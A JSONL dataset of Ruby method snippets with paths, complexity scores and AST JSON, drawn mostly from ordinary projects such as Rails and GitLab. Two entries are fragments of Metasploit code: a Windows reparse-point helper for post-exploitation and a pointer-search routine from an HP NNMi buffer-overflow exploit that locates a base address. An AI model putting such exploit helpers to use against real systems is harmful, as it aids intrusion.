{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_coder_behavior.rb","start_line":7,"raw_source":"def initialize\n      @dumped_entries = []\n      @loaded_entries = []\n      @dump_compressed_entries = []\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dumped_entries\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@loaded_entries\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@dump_compressed_entries\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"9d9096b6-346f-4dba-b5a2-ce963c6ce82d"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/places.rb","start_line":34,"raw_source":"def finalize\n    flush_batch\n    logger.info \"Places import completed. Created: #{@created}\"\n    @created\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finalize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flush_batch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Places import completed. Created: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@created\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@created\"]}]}]}","id":"6fa02cba-1bd7-44be-899f-9c30b57e9249"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_log.rb","start_line":1007,"raw_source":"def setup\n      super\n      @log = Fluent::PluginLogger.new(@logger)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@log\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"PluginLogger\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@logger\"]}]}]}]}]}","id":"52f5c222-4f1b-4bb7-a416-1dfb0ea25c49"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb","start_line":11,"raw_source":"def visit_AlterTable(o)\n            sql = super\n            sql << o.constraint_validations.map { |fk| visit_ValidateConstraint fk }.join(\" \")\n            sql << o.exclusion_constraint_adds.map { |con| visit_AddExclusionConstraint con }.join(\" \")\n            sql << o.unique_constraint_adds.map { |con| visit_AddUniqueConstraint con }.join(\" \")\n          end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_AlterTable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"constraint_validations\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fk\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_ValidateConstraint\",{\"type\":\"lvar\",\"children\":[\"fk\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"exclusion_constraint_adds\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"con\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_AddExclusionConstraint\",{\"type\":\"lvar\",\"children\":[\"con\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"unique_constraint_adds\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"con\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_AddUniqueConstraint\",{\"type\":\"lvar\",\"children\":[\"con\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"fe19a3fa-e47e-47cf-9498-c8cc542fda91"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/nodes/node.rb","start_line":84,"raw_source":"def to_s\n          @to_s ||= Visitors::String::INSTANCE.accept(self, \"\".dup).freeze\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Visitors\"]},\"String\"]},\"INSTANCE\"]},\"accept\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"dup\"]}]},\"freeze\"]}]}]}","id":"b8eb1c01-004d-40d3-aad4-13ac09c0f9bb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/file_system.rb","start_line":171,"raw_source":"def set_reparse_point(handle, reparse_buffer)\n          result = session.railgun.kernel32.DeviceIoControl(\n            handle,\n            FSCTL_SET_REPARSE_POINT,\n            reparse_buffer,\n            reparse_buffer.size,\n            nil,\n            0,\n            4,\n            nil\n          )\n\n          unless result['return']\n            print_error(\"Error setting the reparse point. Windows Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}\")\n          end\n          result['return']\n        end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_reparse_point\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handle\"]},{\"type\":\"arg\",\"children\":[\"reparse_buffer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"kernel32\"]},\"DeviceIoControl\",{\"type\":\"lvar\",\"children\":[\"handle\"]},{\"type\":\"const\",\"children\":[null,\"FSCTL_SET_REPARSE_POINT\"]},{\"type\":\"lvar\",\"children\":[\"reparse_buffer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reparse_buffer\"]},\"size\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"return\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error setting the reparse point. Windows Error Code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GetLastError\"]}]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ErrorMessage\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"return\"]}]}]}]}","id":"f068b5bc-6169-4289-8d72-7fb8b4463f61"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":710,"raw_source":"def self.get_hostname(ipAddress)\n    _log.info(\"Resolving hostname: [#{ipAddress}]\")\n    begin\n      ret = Socket.gethostbyname(ipAddress)\n      name = ret.first\n    rescue => err\n      _log.error(\"ERROR:  #{err}\")\n      return nil\n    end\n    _log.info(\"Resolved hostname: [#{name}] to [#{ipAddress}]\")\n    name\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_hostname\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ipAddress\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Resolving hostname: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipAddress\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Socket\"]},\"gethostbyname\",{\"type\":\"lvar\",\"children\":[\"ipAddress\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"first\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ERROR:  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Resolved hostname: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"] to [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipAddress\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"3a1ec6c7-d2db-4ec3-99b8-b1cfd00ffbd5"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/composer.rb","start_line":300,"raw_source":"def select_all\n        find(composer_input_selector).send_keys([PLATFORM_KEY_MODIFIER, \"a\"])\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"select_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[null,\"composer_input_selector\"]}]},\"send_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PLATFORM_KEY_MODIFIER\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}","id":"414994c1-f8ef-4d5f-a309-7ab162a8b236"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/trigger.rb","start_line":78,"raw_source":"def set_default_values\n      self.set_token(self.attributes['token']) if self.attributes['token'].present?\n      self.set_token(\"#{self.class.prefix_for_trigger_token}#{SecureRandom.hex(20)}\") if self.token.blank?\n    end","complexity_score":17.28,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"token\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"set_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"token\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"set_token\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"prefix_for_trigger_token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[20]}]}]}]}]},null]}]}]}","id":"0c131bae-08c9-400a-afaa-f7b9229f90d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/trigger-build.rb","start_line":530,"raw_source":"def skippable_jobs\n      jobs = container_versions.keys\n      logger.info(\"Fetching container registry repositories for project '#{downstream_project_path}'\")\n      repositories = downstream_client.registry_repositories(downstream_project_path, per_page: 100).auto_paginate\n      build_repositories = repositories.each_with_object({}) do |repo, hash|\n        job = jobs.find { |job| repo.name.end_with?(job) }\n        next unless job\n\n        hash[job] = repo.id\n      end\n      logger.info(\"Checking repositories (#{build_repositories.keys.join(', ')}) for existing tags\")\n      existing_tags = container_versions.select do |job, tag|\n        downstream_client.registry_repository_tag(downstream_project_path, build_repositories[job], tag)\n        logger.info(\"Tag '#{tag}' exists in the registry, job '#{job}' will be skipped\")\n      rescue Gitlab::Error::ResponseError => e\n        if e.is_a?(Gitlab::Error::NotFound)\n          logger.info(\"Tag '#{tag}' does not exist in the registry, job '#{job}' will not skipped\")\n        else\n          logger.error(\"Failed to do a tag '#{tag}' lookup, err: #{e.message}, job '#{job}' will not be skipped\")\n        end\n\n        false\n      end\n\n      jobs_to_skip = existing_tags.keys\n      return jobs_to_skip unless jobs == jobs_to_skip\n\n      # Trigger job will fail with no error message if downstream pipeline has no jobs or only skipped/manual jobs.\n      # Trigger gitlab-rails job if that is the case for downstream pipeline to work correctly.\n      logger.warn(\"Retaining gitlab-rails job to avoid empty downstream pipeline to not fail trigger job!\")\n      jobs_to_skip.reject { |name| name.start_with?(\"gitlab-rails\") }\n    end","complexity_score":64.65,"ast_json":"{\"type\":\"def\",\"children\":[\"skippable_jobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_versions\"]},\"keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fetching container registry repositories for project '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"downstream_project_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"repositories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"downstream_client\"]},\"registry_repositories\",{\"type\":\"send\",\"children\":[null,\"downstream_project_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},\"auto_paginate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"build_repositories\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repositories\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]},\"name\"]},\"end_with?\",{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checking repositories (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_repositories\"]},\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\") for existing tags\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_tags\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_versions\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"downstream_client\"]},\"registry_repository_tag\",{\"type\":\"send\",\"children\":[null,\"downstream_project_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_repositories\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Tag '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"str\",\"children\":[\"' exists in the registry, job '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"str\",\"children\":[\"' will be skipped\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Error\"]},\"ResponseError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Error\"]},\"NotFound\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Tag '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"str\",\"children\":[\"' does not exist in the registry, job '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"str\",\"children\":[\"' will not skipped\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to do a tag '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"str\",\"children\":[\"' lookup, err: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\", job '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"str\",\"children\":[\"' will not be skipped\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jobs_to_skip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_tags\"]},\"keys\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"jobs_to_skip\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs_to_skip\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"warn\",{\"type\":\"str\",\"children\":[\"Retaining gitlab-rails job to avoid empty downstream pipeline to not fail trigger job!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs_to_skip\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"gitlab-rails\"]}]}]}]}]}","id":"bfd2bfd5-edf0-4111-bd4d-49a3fd2ded0e"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/comments_helper.rb","start_line":13,"raw_source":"def all_comments_visible?(commentable)\n    !(commentable.any_comments_hidden || any_hidden_negative_comments?(commentable))\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"all_comments_visible?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commentable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commentable\"]},\"any_comments_hidden\"]},{\"type\":\"send\",\"children\":[null,\"any_hidden_negative_comments?\",{\"type\":\"lvar\",\"children\":[\"commentable\"]}]}]}]},\"!\"]}]}","id":"d7858117-ef72-4e37-b0db-31cb2a7d1ab8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/cookies.rb","start_line":21,"raw_source":"def commit_cookie_jar!\n        cookie_jar.commit!\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_cookie_jar!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"commit!\"]}]}","id":"87809f97-3c4d-482a-9951-5e7c11c54933"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/lib/open_project/backlogs/patches/setting_seeder_patch.rb","start_line":37,"raw_source":"def data\n      original_data = super\n\n      if original_data[\"default_projects_modules\"]&.exclude? \"backlogs\"\n        original_data[\"default_projects_modules\"] << \"backlogs\"\n      end\n\n      original_data\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_data\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"default_projects_modules\"]}]},\"exclude?\",{\"type\":\"str\",\"children\":[\"backlogs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"default_projects_modules\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"backlogs\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"original_data\"]}]}]}","id":"fb5587cb-9e6a-465e-90f8-d94f54101295"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/lfs_api_controller.rb","start_line":188,"raw_source":"def should_auto_link?\n      return false unless project.forked?\n\n      # Sanity check in case for some reason the user doesn't have access to the parent\n      can?(user, :download_code, project.fork_source)\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"should_auto_link?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"forked?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"sym\",\"children\":[\"download_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"fork_source\"]}]}]}]}","id":"cb892a20-0f1d-4852-a513-6e63002c9220"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb","start_line":205,"raw_source":"def find_ov_base(t, data)\n    print_status(\"Searching #{t.name} pointers...\")\n    i = 0\n    data.unpack(\"V*\").each do |int|\n      if base(int, t['ov_offset']) % 0x1000 == 0\n        print_status(\"Pointer 0x#{int.to_s(16)} found at offset #{i * 4}\")\n        @ov_base = base(int, t['ov_offset'])\n        return true\n      end\n      i = i + 1\n    end\n\n    false\n  end","complexity_score":26.65,"ast_json":"{\"type\":\"def\",\"children\":[\"find_ov_base\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Searching \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" pointers...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"V*\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"int\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base\",{\"type\":\"lvar\",\"children\":[\"int\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ov_offset\"]}]}]},\"%\",{\"type\":\"int\",\"children\":[4096]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Pointer 0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"str\",\"children\":[\" found at offset \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ov_base\",{\"type\":\"send\",\"children\":[null,\"base\",{\"type\":\"lvar\",\"children\":[\"int\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ov_offset\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"0b92e703-07a1-4780-b75f-817ab4bfbc78"}
